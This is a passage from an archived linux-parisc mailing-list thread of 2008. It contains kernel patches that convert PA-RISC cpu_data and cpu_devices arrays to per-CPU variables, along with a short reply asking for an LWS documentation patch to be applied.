 struct system_cpuinfo_parisc boot_cpu_data __read_mostly;
 EXPORT_SYMBOL(boot_cpu_data);
 
-struct cpuinfo_parisc cpu_data[NR_CPUS] __read_mostly;
+DEFINE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
 extern int update_cr16_clocksource(void);	/* from time.c */
 
@@ -69,6 +69,23 @@ extern int update_cr16_clocksource(void);	/* from time.c */
 */
 
 /**
+ * init_cpu_profiler - enable/setup per cpu profiling hooks.
+ * @cpunum: The processor instance.
+ *
+ * FIXME: doesn't do much yet...
+ */
+static void __cpuinit
+init_percpu_prof(unsigned long cpunum)
+{
+	struct cpuinfo_parisc *p;
+
+	p = &per_cpu(cpu_data, cpunum);
+	p->prof_counter = 1;
+	p->prof_multiplier = 1;
+}
+
+
+/**
  * processor_probe - Determine if processor driver should claim this device.
  * @dev: The device which has been found.
  *
@@ -147,7 +164,7 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 	}
 #endif
 
-	p = &cpu_data[cpuid];
+	p = &per_cpu(cpu_data, cpuid);
 	boot_cpu_data.cpu_count++;
 
 	/* initialize counters - CPU 0 gets it_value set in time_init() */
@@ -162,12 +179,9 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 #ifdef CONFIG_SMP
 	/*
 	** FIXME: review if any other initialization is clobbered
-	**	for boot_cpu by the above memset().
+	**	  for boot_cpu by the above memset().
 	*/
-
-	/* stolen from init_percpu_prof() */
-	cpu_data[cpuid].prof_counter = 1;
-	cpu_data[cpuid].prof_multiplier = 1;
+	init_percpu_prof(cpuid);
 #endif
 
 	/*
@@ -261,19 +275,6 @@ void __init collect_boot_cpu_data(void)
 }
 
 
-/**
- * init_cpu_profiler - enable/setup per cpu profiling hooks.
- * @cpunum: The processor instance.
- *
- * FIXME: doesn't do much yet...
- */
-static inline void __init
-init_percpu_prof(int cpunum)
-{
-	cpu_data[cpunum].prof_counter = 1;
-	cpu_data[cpunum].prof_multiplier = 1;
-}
-
 
 /**
  * init_per_cpu - Handle individual processor initializations.
@@ -293,7 +294,7 @@ init_percpu_prof(int cpunum)
  *
  * o Enable CPU profiling hooks.
  */
-int __init init_per_cpu(int cpunum)
+int __cpuinit init_per_cpu(int cpunum)
 {
 	int ret;
 	struct pdc_coproc_cfg coproc_cfg;
@@ -307,8 +308,8 @@ int __init init_per_cpu(int cpunum)
 		/* FWIW, FP rev/model is a more accurate way to determine
 		** CPU type. CPU rev/model has some ambiguous cases.
 		*/
-		cpu_data[cpunum].fp_rev = coproc_cfg.revision;
-		cpu_data[cpunum].fp_model = coproc_cfg.model;
+		per_cpu(cpu_data, cpunum).fp_rev = coproc_cfg.revision;
+		per_cpu(cpu_data, cpunum).fp_model = coproc_cfg.model;
 
 		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
 			cpunum, coproc_cfg.revision, coproc_cfg.model);
@@ -344,16 +345,17 @@ int __init init_per_cpu(int cpunum)
 int
 show_cpuinfo (struct seq_file *m, void *v)
 {
-	int	n;
+	unsigned long cpu;
 
-	for(n=0; n<boot_cpu_data.cpu_count; n++) {
+	for_each_online_cpu(cpu) {
+		const struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
 #ifdef CONFIG_SMP
-		if (0 == cpu_data[n].hpa)
+		if (0 == cpuinfo->hpa)
 			continue;
 #endif
-		seq_printf(m, "processor\t: %d\n"
+		seq_printf(m, "processor\t: %lu\n"
 				"cpu family\t: PA-RISC %s\n",
-				 n, boot_cpu_data.family_name);
+				 cpu, boot_cpu_data.family_name);
 
 		seq_printf(m, "cpu\t\t: %s\n",  boot_cpu_data.cpu_name );
 
@@ -365,8 +367,8 @@ show_cpuinfo (struct seq_file *m, void *v)
 		seq_printf(m, "model\t\t: %s\n"
 				"model name\t: %s\n",
 				 boot_cpu_data.pdc.sys_model_name,
-				 cpu_data[n].dev ? 
-				 cpu_data[n].dev->name : "Unknown" );
+				 cpuinfo->dev ?
+				 cpuinfo->dev->name : "Unknown" );
 
 		seq_printf(m, "hversion\t: 0x%08x\n"
 			        "sversion\t: 0x%08x\n",
@@ -377,8 +379,8 @@ show_cpuinfo (struct seq_file *m, void *v)
 		show_cache_info(m);
 
 		seq_printf(m, "bogomips\t: %lu.%02lu\n",
-			     cpu_data[n].loops_per_jiffy / (500000 / HZ),
-			     (cpu_data[n].loops_per_jiffy / (5000 / HZ)) % 100);
+			     cpuinfo->loops_per_jiffy / (500000 / HZ),
+			     (cpuinfo->loops_per_jiffy / (5000 / HZ)) % 100);
 
 		seq_printf(m, "software id\t: %ld\n\n",
 				boot_cpu_data.pdc.model.sw_id);
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index a59b71e..eec84df 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -319,7 +319,7 @@ static int __init parisc_init(void)
 	
 	processor_init();
 	printk(KERN_INFO "CPU(s): %d x %s at %d.%06d MHz\n",
-			boot_cpu_data.cpu_count,
+			num_present_cpus(),
 			boot_cpu_data.cpu_name,
 			boot_cpu_data.cpu_hz / 1000000,
 			boot_cpu_data.cpu_hz % 1000000	);
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index d47f397..148667e 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -56,16 +56,17 @@ static int smp_debug_lvl = 0;
 		if (lvl >= smp_debug_lvl)	\
 			printk(printargs);
 #else
-#define smp_debug(lvl, ...)
+#define smp_debug(lvl, ...)	do { } while(0)
 #endif /* DEBUG_SMP */
 
 DEFINE_SPINLOCK(smp_lock);
 
 volatile struct task_struct *smp_init_current_idle_task;
 
-static volatile int cpu_now_booting __read_mostly = 0;	/* track which CPU is booting */
+/* track which CPU is booting */
+static volatile int cpu_now_booting __cpuinitdata;
 
-static int parisc_max_cpus __read_mostly = 1;
+static int parisc_max_cpus __cpuinitdata = 1;
 
 /* online cpus are ones that we've managed to bring up completely
  * possible cpus are all valid cpu 
@@ -138,7 +139,7 @@ irqreturn_t
 ipi_interrupt(int irq, void *dev_id) 
 {
 	int this_cpu = smp_processor_id();
-	struct cpuinfo_parisc *p = &cpu_data[this_cpu];
+	struct cpuinfo_parisc *p = &per_cpu(cpu_data, this_cpu);
 	unsigned long ops;
 	unsigned long flags;
 
@@ -217,13 +218,13 @@ ipi_interrupt(int irq, void *dev_id)
 static inline void
 ipi_send(int cpu, enum ipi_message_type op)
 {
-	struct cpuinfo_parisc *p = &cpu_data[cpu];
+	struct cpuinfo_parisc *p = &per_cpu(cpu_data, cpu);
 	spinlock_t *lock = &per_cpu(ipi_lock, cpu);
 	unsigned long flags;
 
 	spin_lock_irqsave(lock, flags);
 	p->pending_ipi |= 1 << op;
-	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, cpu_data[cpu].hpa);
+	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, p->hpa);
 	spin_unlock_irqrestore(lock, flags);
 }
 
@@ -239,10 +240,7 @@ send_IPI_mask(cpumask_t mask, enum ipi_message_type op)
 static inline void
 send_IPI_single(int dest_cpu, enum ipi_message_type op)
 {
-	if (dest_cpu == NO_PROC_ID) {
-		BUG();
-		return;
-	}
+	BUG_ON(dest_cpu == NO_PROC_ID);
 
 	ipi_send(dest_cpu, op);
 }
@@ -324,8 +322,7 @@ smp_cpu_init(int cpunum)
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
 	current->active_mm = &init_mm;
-	if(current->mm)
-		BUG();
+	BUG_ON(current->mm);
 	enter_lazy_tlb(&init_mm, current);
 
 	init_IRQ();   /* make sure no IRQs are enabled or pending */
@@ -360,6 +357,7 @@ void __init smp_callin(void)
  */
 int __cpuinit smp_boot_one_cpu(int cpuid)
 {
+	const struct cpuinfo_parisc *p = &per_cpu(cpu_data, cpuid);
 	struct task_struct *idle;
 	long timeout;
 
@@ -391,7 +389,7 @@ int __cpuinit smp_boot_one_cpu(int cpuid)
 	smp_init_current_idle_task = idle ;
 	mb();
 
-	printk("Releasing cpu %d now, hpa=%lx\n", cpuid, cpu_data[cpuid].hpa);
+	printk(KERN_INFO "Releasing cpu %d now, hpa=%lx\n", cpuid, p->hpa);
 
 	/*
 	** This gets PDC to release the CPU from a very tight loop.
@@ -402,7 +400,7 @@ int __cpuinit smp_boot_one_cpu(int cpuid)
 	** EIR{0}). MEM_RENDEZ is valid only when it is nonzero and the 
 	** contents of memory are valid."
 	*/
-	gsc_writel(TIMER_IRQ - CPU_IRQ_BASE, cpu_data[cpuid].hpa);
+	gsc_writel(TIMER_IRQ - CPU_IRQ_BASE, p->hpa);
 	mb();
 
 	/* 
@@ -434,12 +432,12 @@ alive:
 	return 0;
 }
 
-void __devinit smp_prepare_boot_cpu(void)
+void __init smp_prepare_boot_cpu(void)
 {
-	int bootstrap_processor=cpu_data[0].cpuid;	/* CPU ID of BSP */
+	int bootstrap_processor = per_cpu(cpu_data, 0).cpuid;
 
 	/* Setup BSP mappings */
-	printk("SMP: bootstrap CPU ID is %d\n",bootstrap_processor);
+	printk(KERN_INFO "SMP: bootstrap CPU ID is %d\n", bootstrap_processor);
 
 	cpu_set(bootstrap_processor, cpu_online_map);
 	cpu_set(bootstrap_processor, cpu_present_map);
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 24be86b..9db61b4 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -59,7 +59,7 @@ irqreturn_t timer_interrupt(int irq, void *dev_id)
 	unsigned long cycles_elapsed, ticks_elapsed;
 	unsigned long cycles_remainder;
 	unsigned int cpu = smp_processor_id();
-	struct cpuinfo_parisc *cpuinfo = &cpu_data[cpu];
+	struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
 
 	/* gcc can optimize for "read-only" case with a local clocktick */
 	unsigned long cpt = clocktick;
@@ -212,7 +212,7 @@ void __init start_cpu_itimer(void)
 
 	mtctl(next_tick, 16);		/* kick off Interval Timer (CR16) */
 
-	cpu_data[cpu].it_value = next_tick;
+	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
 void __init time_init(void)
diff --git a/arch/parisc/kernel/topology.c b/arch/parisc/kernel/topology.c
index d71cb01..f515938 100644
--- a/arch/parisc/kernel/topology.c
+++ b/arch/parisc/kernel/topology.c
@@ -22,14 +22,14 @@
 #include <linux/cpu.h>
 #include <linux/cache.h>
 
-static struct cpu cpu_devices[NR_CPUS] __read_mostly;
+static DEFINE_PER_CPU(struct cpu, cpu_devices);
 
 static int __init topology_init(void)
 {
 	int num;
 
 	for_each_present_cpu(num) {
-		register_cpu(&cpu_devices[num], num);
+		register_cpu(&per_cpu(cpu_devices, num), num);
 	}
 	return 0;
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] - Patch series for parisc
Date: Sun, 24 Aug 2008 21:49:46 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <200808242149.47051.deller@gmx.de>
References: <200808242026.06295.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219607400 8950 80.91.229.12 (24 Aug 2008 19:50:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 19:50:00 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	"Carlos O'Donell" <carlos@systemhalted.org>,
	John David Anglin <dave.anglin@nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 21:50:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXLbx-0000P1-7N
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 21:50:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751884AbYHXTtw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 15:49:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752472AbYHXTtw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 15:49:52 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:45833 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751884AbYHXTtw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 15:49:52 -0400
Original-Received: (qmail invoked by alias); 24 Aug 2008 19:49:49 -0000
Original-Received: from mnhm-590f77df.pool.einsundeins.de (EHLO p100.box) [89.15.119.223]
  by mail.gmx.net (mp010) with SMTP; 24 Aug 2008 21:49:49 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+uRhkboOyujgSC6qw8MabcZ3TvgwG/PUD2k1b2PY
	BnCoXoNJCTWPIx
User-Agent: KMail/1.9.7
In-Reply-To: <200808242026.06295.deller@gmx.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.71
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:665
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/665>

On Sunday 24 August 2008, Helge Deller wrote:
> The following mails contain patches which I have sent to linux-parisc during 
> the last weeks and which have not yet been applied.

Kyle, in addition to my patches it would be nice if you could apply
a final LWS documentation patch on which Carlos and John still want 
to agree on.
For reference here is the thread:
http://marc.info/?t=121612540800004&r=1&w=2

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Change cpu_data[] and cpu_devices[] from array sized
 by NR_CPUS to per_cpu variables
Date: Sun, 24 Aug 2008 23:24:21 +0200
Lines: 478
Approved: news@gmane.org
Message-ID: <48B1D185.4060805@gmx.de>
References: <200808242026.06295.deller@gmx.de> <200808242121.49849.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------090901030001030601070502"
X-Trace: ger.gmane.org 1219613090 29164 80.91.229.12 (24 Aug 2008 21:24:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 21:24:50 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 23:25:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXN5T-0007jc-H6
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 23:25:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750909AbYHXVY0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 17:24:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753203AbYHXVY0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 17:24:26 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:50724 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750909AbYHXVYZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 17:24:25 -0400
Original-Received: (qmail invoked by alias); 24 Aug 2008 21:24:22 -0000
Original-Received: from mnhm-590f77df.pool.einsundeins.de (EHLO halden.box) [89.15.119.223]
  by mail.gmx.net (mp002) with SMTP; 24 Aug 2008 23:24:22 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18JhR5TnbMJ8U0hqXfjodJoEIoIpXI+qLJ1A5xE0G
	9870/O0KYBnf3i
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <200808242121.49849.deller@gmx.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.75
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:666
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/666>

This is a multi-part message in MIME format.
--------------090901030001030601070502
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Updated patch attached, which fixes some build problems and section 
mismatches.
Boot-tested on a UP 32bit machine with CONFIG_SMP=y.

Signed-off-by: Helge Deller <deller@gmx.de>

--------------090901030001030601070502
Content-Type: text/x-patch;
 name="parisc-per-cpu3.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="parisc-per-cpu3.patch"

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 3c9d348..9d64df8 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -17,6 +17,7 @@
 #include <asm/ptrace.h>
 #include <asm/types.h>
 #include <asm/system.h>
+#include <asm/percpu.h>
 #endif /* __ASSEMBLY__ */
 
 #define KERNEL_STACK_SIZE 	(4*PAGE_SIZE)
@@ -109,8 +110,7 @@ struct cpuinfo_parisc {
 };
 
 extern struct system_cpuinfo_parisc boot_cpu_data;
-extern struct cpuinfo_parisc cpu_data[NR_CPUS];
-#define current_cpu_data cpu_data[smp_processor_id()]
+DECLARE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
 #define CPU_HVERSION ((boot_cpu_data.hversion >> 4) & 0x0FFF)
 
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 03f26bd..f6d2412 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -151,7 +151,7 @@ static void convert_to_wide(unsigned long *addr)
 }
 
 #ifdef CONFIG_64BIT
-void __init set_firmware_width_unlocked(void)
+void __cpuinit set_firmware_width_unlocked(void)
 {
 	int ret;
 
@@ -168,7 +168,7 @@ void __init set_firmware_width_unlocked(void)
  * This function must be called before any pdc_* function that uses the
  * convert_to_wide function.
  */
-void __init set_firmware_width(void)
+void __cpuinit set_firmware_width(void)
 {
 	unsigned long flags;
 	spin_lock_irqsave(&pdc_lock, flags);
@@ -176,11 +176,11 @@ void __init set_firmware_width(void)
 	spin_unlock_irqrestore(&pdc_lock, flags);
 }
 #else
-void __init set_firmware_width_unlocked(void) {
+void __cpuinit set_firmware_width_unlocked(void) {
 	return;
 }
 
-void __init set_firmware_width(void) {
+void __cpuinit set_firmware_width(void) {
 	return;
 }
 #endif /*CONFIG_64BIT*/
@@ -302,7 +302,7 @@ int pdc_chassis_warn(unsigned long *warn)
 	return retval;
 }
 
-int __init pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
+int __cpuinit pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
 {
 	int ret;
 
@@ -323,7 +323,7 @@ int __init pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
  * This PDC call returns the presence and status of all the coprocessors
  * attached to the processor.
  */
-int __init pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info)
+int __cpuinit pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info)
 {
 	int ret;
 	unsigned long flags;
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 23ef950..3ee6b33 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -298,7 +298,7 @@ unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 	irq_desc[irq].affinity = cpumask_of_cpu(cpu);
 #endif
 
-	return cpu_data[cpu].txn_addr;
+	return per_cpu(cpu_data, cpu).txn_addr;
 }
 
 
@@ -309,8 +309,9 @@ unsigned long txn_alloc_addr(unsigned int virt_irq)
 	next_cpu++; /* assign to "next" CPU we want this bugger on */
 
 	/* validate entry */
-	while ((next_cpu < NR_CPUS) && (!cpu_data[next_cpu].txn_addr || 
-		!cpu_online(next_cpu)))
+	while ((next_cpu < NR_CPUS) &&
+		(!per_cpu(cpu_data, next_cpu).txn_addr ||
+		 !cpu_online(next_cpu)))
 		next_cpu++;
 
 	if (next_cpu >= NR_CPUS) 
@@ -359,7 +360,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 		printk(KERN_DEBUG "redirecting irq %d from CPU %d to %d\n",
 		       irq, smp_processor_id(), cpu);
 		gsc_writel(irq + CPU_IRQ_BASE,
-			   cpu_data[cpu].hpa);
+			   per_cpu(cpu_data, cpu).hpa);
 		goto set_out;
 	}
 #endif
@@ -421,5 +422,5 @@ void __init init_IRQ(void)
 
 void ack_bad_irq(unsigned int irq)
 {
-	printk("unexpected IRQ %d\n", irq);
+	printk(KERN_WARNING "unexpected IRQ %d\n", irq);
 }
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 370086f..678a031 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -3,7 +3,7 @@
  *    Initial setup-routines for HP 9000 based hardware.
  *
  *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
- *    Modifications for PA-RISC (C) 1999 Helge Deller <deller@gmx.de>
+ *    Modifications for PA-RISC (C) 1999-2008 Helge Deller <deller@gmx.de>
  *    Modifications copyright 1999 SuSE GmbH (Philipp Rumpf)
  *    Modifications copyright 2000 Martin K. Petersen <mkp@mkp.net>
  *    Modifications copyright 2000 Philipp Rumpf <prumpf@tux.org>
@@ -46,7 +46,7 @@
 struct system_cpuinfo_parisc boot_cpu_data __read_mostly;
 EXPORT_SYMBOL(boot_cpu_data);
 
-struct cpuinfo_parisc cpu_data[NR_CPUS] __read_mostly;
+DEFINE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
 extern int update_cr16_clocksource(void);	/* from time.c */
 
@@ -69,6 +69,23 @@ extern int update_cr16_clocksource(void);	/* from time.c */
 */
 
 /**
+ * init_cpu_profiler - enable/setup per cpu profiling hooks.
+ * @cpunum: The processor instance.
+ *
+ * FIXME: doesn't do much yet...
+ */
+static void __cpuinit
+init_percpu_prof(unsigned long cpunum)
+{
+	struct cpuinfo_parisc *p;
+
+	p = &per_cpu(cpu_data, cpunum);
+	p->prof_counter = 1;
+	p->prof_multiplier = 1;
+}
+
+
+/**
  * processor_probe - Determine if processor driver should claim this device.
  * @dev: The device which has been found.
  *
@@ -147,7 +164,7 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 	}
 #endif
 
-	p = &cpu_data[cpuid];
+	p = &per_cpu(cpu_data, cpuid);
 	boot_cpu_data.cpu_count++;
 
 	/* initialize counters - CPU 0 gets it_value set in time_init() */
@@ -162,12 +179,9 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 #ifdef CONFIG_SMP
 	/*
 	** FIXME: review if any other initialization is clobbered
-	**	for boot_cpu by the above memset().
+	**	  for boot_cpu by the above memset().
 	*/
-
-	/* stolen from init_percpu_prof() */
-	cpu_data[cpuid].prof_counter = 1;
-	cpu_data[cpuid].prof_multiplier = 1;
+	init_percpu_prof(cpuid);
 #endif
 
 	/*
@@ -261,19 +275,6 @@ void __init collect_boot_cpu_data(void)
 }
 
 
-/**
- * init_cpu_profiler - enable/setup per cpu profiling hooks.
- * @cpunum: The processor instance.
- *
- * FIXME: doesn't do much yet...
- */
-static inline void __init
-init_percpu_prof(int cpunum)
-{
-	cpu_data[cpunum].prof_counter = 1;
-	cpu_data[cpunum].prof_multiplier = 1;
-}
-
 
 /**
  * init_per_cpu - Handle individual processor initializations.
@@ -293,7 +294,7 @@ init_percpu_prof(int cpunum)
  *
  * o Enable CPU profiling hooks.
  */
-int __init init_per_cpu(int cpunum)
+int __cpuinit init_per_cpu(int cpunum)
 {
 	int ret;
 	struct pdc_coproc_cfg coproc_cfg;
@@ -307,8 +308,8 @@ int __init init_per_cpu(int cpunum)
 		/* FWIW, FP rev/model is a more accurate way to determine
 		** CPU type. CPU rev/model has some ambiguous cases.
 		*/
-		cpu_data[cpunum].fp_rev = coproc_cfg.revision;
-		cpu_data[cpunum].fp_model = coproc_cfg.model;
+		per_cpu(cpu_data, cpunum).fp_rev = coproc_cfg.revision;
+		per_cpu(cpu_data, cpunum).fp_model = coproc_cfg.model;
 
 		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
 			cpunum, coproc_cfg.revision, coproc_cfg.model);
@@ -344,16 +345,17 @@ int __init init_per_cpu(int cpunum)
 int
 show_cpuinfo (struct seq_file *m, void *v)
 {
-	int	n;
+	unsigned long cpu;
 
-	for(n=0; n<boot_cpu_data.cpu_count; n++) {
+	for_each_online_cpu(cpu) {
+		const struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
 #ifdef CONFIG_SMP
-		if (0 == cpu_data[n].hpa)
+		if (0 == cpuinfo->hpa)
 			continue;
 #endif
-		seq_printf(m, "processor\t: %d\n"
+		seq_printf(m, "processor\t: %lu\n"
 				"cpu family\t: PA-RISC %s\n",
-				 n, boot_cpu_data.family_name);
+				 cpu, boot_cpu_data.family_name);
 
 		seq_printf(m, "cpu\t\t: %s\n",  boot_cpu_data.cpu_name );
 
@@ -365,8 +367,8 @@ show_cpuinfo (struct seq_file *m, void *v)
 		seq_printf(m, "model\t\t: %s\n"
 				"model name\t: %s\n",
 				 boot_cpu_data.pdc.sys_model_name,
-				 cpu_data[n].dev ? 
-				 cpu_data[n].dev->name : "Unknown" );
+				 cpuinfo->dev ?
+				 cpuinfo->dev->name : "Unknown" );
 
 		seq_printf(m, "hversion\t: 0x%08x\n"
 			        "sversion\t: 0x%08x\n",
@@ -377,8 +379,8 @@ show_cpuinfo (struct seq_file *m, void *v)
 		show_cache_info(m);
 
 		seq_printf(m, "bogomips\t: %lu.%02lu\n",
-			     cpu_data[n].loops_per_jiffy / (500000 / HZ),
-			     (cpu_data[n].loops_per_jiffy / (5000 / HZ)) % 100);
+			     cpuinfo->loops_per_jiffy / (500000 / HZ),
+			     (cpuinfo->loops_per_jiffy / (5000 / HZ)) % 100);
 
 		seq_printf(m, "software id\t: %ld\n\n",
 				boot_cpu_data.pdc.model.sw_id);
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index a59b71e..3965fd4 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -319,7 +319,7 @@ static int __init parisc_init(void)
 	
 	processor_init();
 	printk(KERN_INFO "CPU(s): %d x %s at %d.%06d MHz\n",
-			boot_cpu_data.cpu_count,
+			num_present_cpus(),
 			boot_cpu_data.cpu_name,
 			boot_cpu_data.cpu_hz / 1000000,
 			boot_cpu_data.cpu_hz % 1000000	);
@@ -385,8 +385,8 @@ void start_parisc(void)
 	if (ret >= 0 && coproc_cfg.ccr_functional) {
 		mtctl(coproc_cfg.ccr_functional, 10);
 
-		cpu_data[cpunum].fp_rev = coproc_cfg.revision;
-		cpu_data[cpunum].fp_model = coproc_cfg.model;
+		per_cpu(cpu_data, cpunum).fp_rev = coproc_cfg.revision;
+		per_cpu(cpu_data, cpunum).fp_model = coproc_cfg.model;
 
 		asm volatile ("fstd	%fr0,8(%sp)");
 	} else {
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index d47f397..148667e 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -56,16 +56,17 @@ static int smp_debug_lvl = 0;
 		if (lvl >= smp_debug_lvl)	\
 			printk(printargs);
 #else
-#define smp_debug(lvl, ...)
+#define smp_debug(lvl, ...)	do { } while(0)
 #endif /* DEBUG_SMP */
 
 DEFINE_SPINLOCK(smp_lock);
 
